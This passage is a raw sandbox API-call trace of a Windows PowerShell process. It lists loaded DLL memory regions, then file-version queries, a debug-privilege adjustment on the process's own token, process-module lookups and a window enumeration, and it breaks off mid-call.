entry_point = 0x7feeef70000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuration\\091b931d0f6408001747dbbbb05dbe66\\system.configuration.ni.dll") Region: id = 3410 start_va = 0x7ff00280000 end_va = 0x7ff0028ffff entry_point = 0x0 region_type = private name = "private_0x000007ff00280000" filename = "" Region: id = 3411 start_va = 0x7fffff0e000 end_va = 0x7fffff0ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff0e000" filename = "" Region: id = 3412 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 3413 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 3414 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 3415 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3416 start_va = 0x1bc90000 end_va = 0x1bddffff entry_point = 0x0 region_type = private name = "private_0x000000001bc90000" filename = "" Region: id = 3417 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 3418 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 3419 start_va = 0x2bf0000 end_va = 0x2c0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002bf0000" filename = "" Region: id = 3420 start_va = 0x1c8a0000 end_va = 0x1c91ffff entry_point = 0x0 region_type = private name = "private_0x000000001c8a0000" filename = "" Region: id = 3421 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 3422 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 3423 start_va = 0x7fffff0c000 end_va = 0x7fffff0dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff0c000" filename = "" Region: id = 3424 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3425 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3426 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 3427 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 3428 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Thread: id = 325 os_tid = 0x2b4 [0274.236] strcmp (_Str1="EEHeapAllocInProcessHeap", _Str2="CLRLoadLibraryEx") returned 1 [0274.398] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0274.572] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0274.572] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0274.572] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0274.572] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0274.907] GetVersionExW (in: lpVersionInformation=0x1cdba0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1cdba0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0274.908] GetVersionExW (in: lpVersionInformation=0x1cdba0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1cdba0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0274.914] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1cd7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0274.918] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1cd860, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0274.918] GetVersionExW (in: lpVersionInformation=0x1cd910*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1cd910*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0274.918] SetErrorMode (uMode=0x1) returned 0x1 [0274.919] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x1cda70 | out: lpFileInformation=0x1cda70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0274.920] SetErrorMode (uMode=0x1) returned 0x1 [0274.922] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x1cdce0 | out: lpdwHandle=0x1cdce0) returned 0x94c [0274.929] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2cc76a0 | out: lpData=0x2cc76a0) returned 1 [0274.931] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1cdc58, puLen=0x1cdc50 | out: lplpBuffer=0x1cdc58*=0x2cc773c, puLen=0x1cdc50) returned 1 [0274.933] lstrlenW (lpString="䅁") returned 1 [0274.939] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x1cdbc8, puLen=0x1cdbc0 | out: lplpBuffer=0x1cdbc8*=0x2cc7818, puLen=0x1cdbc0) returned 1 [0274.940] lstrlenW (lpString="Microsoft Corporation") returned 21 [0274.942] CoTaskMemAlloc (cb=0x2e) returned 0x4429e0 [0274.942] lstrcpyW (in: lpString1=0x4429e0, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0274.942] CoTaskMemFree (pv=0x4429e0) [0274.942] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x1cdbc8, puLen=0x1cdbc0 | out: lplpBuffer=0x1cdbc8*=0x2cc786c, puLen=0x1cdbc0) returned 1 [0274.943] lstrlenW (lpString="System.Management.Automation") returned 28 [0274.943] CoTaskMemAlloc (cb=0x3c) returned 0x4459b0 [0274.943] lstrcpyW (in: lpString1=0x4459b0, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0274.943] CoTaskMemFree (pv=0x4459b0) [0274.943] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x1cdbc8, puLen=0x1cdbc0 | out: lplpBuffer=0x1cdbc8*=0x2cc78c8, puLen=0x1cdbc0) returned 1 [0274.943] lstrlenW (lpString="6.1.7601.17514") returned 14 [0274.943] CoTaskMemAlloc (cb=0x20) returned 0x443c00 [0274.943] lstrcpyW (in: lpString1=0x443c00, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0274.943] CoTaskMemFree (pv=0x443c00) [0274.943] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x1cdbc8, puLen=0x1cdbc0 | out: lplpBuffer=0x1cdbc8*=0x2cc7908, puLen=0x1cdbc0) returned 1 [0274.943] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0274.943] CoTaskMemAlloc (cb=0x44) returned 0x4459b0 [0274.943] lstrcpyW (in: lpString1=0x4459b0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0274.943] CoTaskMemFree (pv=0x4459b0) [0274.943] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x1cdbc8, puLen=0x1cdbc0 | out: lplpBuffer=0x1cdbc8*=0x2cc7970, puLen=0x1cdbc0) returned 1 [0274.943] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0274.943] CoTaskMemAlloc (cb=0x76) returned 0x3deed0 [0274.943] lstrcpyW (in: lpString1=0x3deed0, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0274.943] CoTaskMemFree (pv=0x3deed0) [0274.943] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x1cdbc8, puLen=0x1cdbc0 | out: lplpBuffer=0x1cdbc8*=0x2cc7a0c, puLen=0x1cdbc0) returned 1 [0274.943] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0274.943] CoTaskMemAlloc (cb=0x44) returned 0x4459b0 [0274.943] lstrcpyW (in: lpString1=0x4459b0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0274.943] CoTaskMemFree (pv=0x4459b0) [0274.943] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x1cdbc8, puLen=0x1cdbc0 | out: lplpBuffer=0x1cdbc8*=0x2cc7a70, puLen=0x1cdbc0) returned 1 [0274.943] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0274.943] CoTaskMemAlloc (cb=0x58) returned 0x39b690 [0274.943] lstrcpyW (in: lpString1=0x39b690, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0274.943] CoTaskMemFree (pv=0x39b690) [0274.943] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x1cdbc8, puLen=0x1cdbc0 | out: lplpBuffer=0x1cdbc8*=0x2cc7aec, puLen=0x1cdbc0) returned 1 [0274.943] lstrlenW (lpString="6.1.7601.17514") returned 14 [0274.943] CoTaskMemAlloc (cb=0x20) returned 0x443c00 [0274.943] lstrcpyW (in: lpString1=0x443c00, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0274.943] CoTaskMemFree (pv=0x443c00) [0274.943] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x1cdbc8, puLen=0x1cdbc0 | out: lplpBuffer=0x1cdbc8*=0x2cc7794, puLen=0x1cdbc0) returned 1 [0274.943] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0274.943] CoTaskMemAlloc (cb=0x66) returned 0x4410b0 [0274.943] lstrcpyW (in: lpString1=0x4410b0, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0274.943] CoTaskMemFree (pv=0x4410b0) [0274.944] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x1cdbc8, puLen=0x1cdbc0 | out: lplpBuffer=0x1cdbc8*=0x0, puLen=0x1cdbc0) returned 0 [0274.944] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x1cdbc8, puLen=0x1cdbc0 | out: lplpBuffer=0x1cdbc8*=0x0, puLen=0x1cdbc0) returned 0 [0274.944] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x1cdbc8, puLen=0x1cdbc0 | out: lplpBuffer=0x1cdbc8*=0x0, puLen=0x1cdbc0) returned 0 [0274.944] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1cdb98, puLen=0x1cdb90 | out: lplpBuffer=0x1cdb98*=0x2cc773c, puLen=0x1cdb90) returned 1 [0274.944] CoTaskMemAlloc (cb=0x204) returned 0x40da10 [0274.944] VerLanguageNameW (in: wLang=0x0, szLang=0x40da10, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0274.945] CoTaskMemFree (pv=0x40da10) [0274.945] VerQueryValueW (in: pBlock=0x2cc76a0, lpSubBlock="\\", lplpBuffer=0x1cdbe8, puLen=0x1cdbe0 | out: lplpBuffer=0x1cdbe8*=0x2cc76c8, puLen=0x1cdbe0) returned 1 [0274.950] GetCurrentProcessId () returned 0x464 [0274.961] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1ccb10 | out: lpLuid=0x1ccb10*(LowPart=0x14, HighPart=0)) returned 1 [0274.963] GetCurrentProcess () returned 0xffffffffffffffff [0274.964] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x1ccb30 | out: TokenHandle=0x1ccb30*=0x2f0) returned 1 [0274.964] AdjustTokenPrivileges (in: TokenHandle=0x2f0, DisableAllPrivileges=0, NewState=0x2ccaf18*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0274.965] CloseHandle (hObject=0x2f0) returned 1 [0274.969] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x464) returned 0x2f0 [0274.976] EnumProcessModules (in: hProcess=0x2f0, lphModule=0x2ccaf80, cb=0x200, lpcbNeeded=0x1cdb48 | out: lphModule=0x2ccaf80, lpcbNeeded=0x1cdb48) returned 1 [0274.978] GetModuleInformation (in: hProcess=0x2f0, hModule=0x13fe90000, lpmodinfo=0x2ccb1f0, cb=0x18 | out: lpmodinfo=0x2ccb1f0*(lpBaseOfDll=0x13fe90000, SizeOfImage=0x77000, EntryPoint=0x13fe9c63c)) returned 1 [0274.978] CoTaskMemAlloc (cb=0x804) returned 0x450350 [0274.979] GetModuleBaseNameW (in: hProcess=0x2f0, hModule=0x13fe90000, lpBaseName=0x450350, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0274.979] CoTaskMemFree (pv=0x450350) [0274.979] CoTaskMemAlloc (cb=0x804) returned 0x450350 [0274.979] GetModuleFileNameExW (in: hProcess=0x2f0, hModule=0x13fe90000, lpFilename=0x450350, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0274.979] CoTaskMemFree (pv=0x450350) [0274.980] CloseHandle (hObject=0x2f0) returned 1 [0274.986] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x464) returned 0x2f0 [0274.987] GetExitCodeProcess (in: hProcess=0x2f0, lpExitCode=0x1cdc78 | out: lpExitCode=0x1cdc78*=0x103) returned 1 [0274.993] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12ccb088, Length=0x20000, ResultLength=0x1cdc40 | out: SystemInformation=0x12ccb088, ResultLength=0x1cdc40*=0xd1c0) returned 0x0 [0275.002] EnumWindows (lpEnumFunc=0x2af66ac, lParam=0x0) returned 1 [0275.003] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.003] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.003] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6d4 [0275.003] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x32c [0275.003] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.003] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.003] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.003] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.003] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.003] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.003] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.003] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.004] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.004] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.004] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x3a0 [0275.004] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.004] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.004] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.004] GetWindowThreadProcessId (in: hWnd=0x110214, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x2b4 [0275.005] GetWindow (hWnd=0x110214, uCmd=0x4) returned 0x0 [0275.005] IsWindowVisible (hWnd=0x110214) returned 0 [0275.005] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x508 [0275.005] GetWindowThreadProcessId (in: hWnd=0x301c2, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0xb7c [0275.005] GetWindowThreadProcessId (in: hWnd=0x701a2, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x854 [0275.005] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x64 [0275.006] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x500 [0275.006] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x7dc [0275.006] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x778 [0275.006] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x57c [0275.006] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x28c [0275.006] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x574 [0275.006] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x350 [0275.006] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x594 [0275.006] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x7c8 [0275.006] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x248 [0275.006] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x698 [0275.006] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x318 [0275.006] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x7f8 [0275.007] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x58c [0275.007] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6f0 [0275.007] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x5c8 [0275.007] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x668 [0275.007] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x664 [0275.007] GetWindowThreadProcessId (in: hWnd=0x70118, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x5d0 [0275.007] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6a4 [0275.007] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6d4 [0275.007] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6b0 [0275.007] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6d4 [0275.007] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6b0 [0275.007] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6d4 [0275.007] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6a4 [0275.007] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x6a4 [0275.008] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.008] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.008] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.008] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.008] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.008] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.008] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.008] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x54c [0275.008] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x43c [0275.008] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x5a4 [0275.008] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x588 [0275.008] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x3a0 [0275.008] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x544 [0275.009] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x1cd9a0 | out: lpdwProcessId=0x1cd9a0) returned 0x428 [0275.009] GetWindowThreadProcessId (in: hWnd=0x10084, 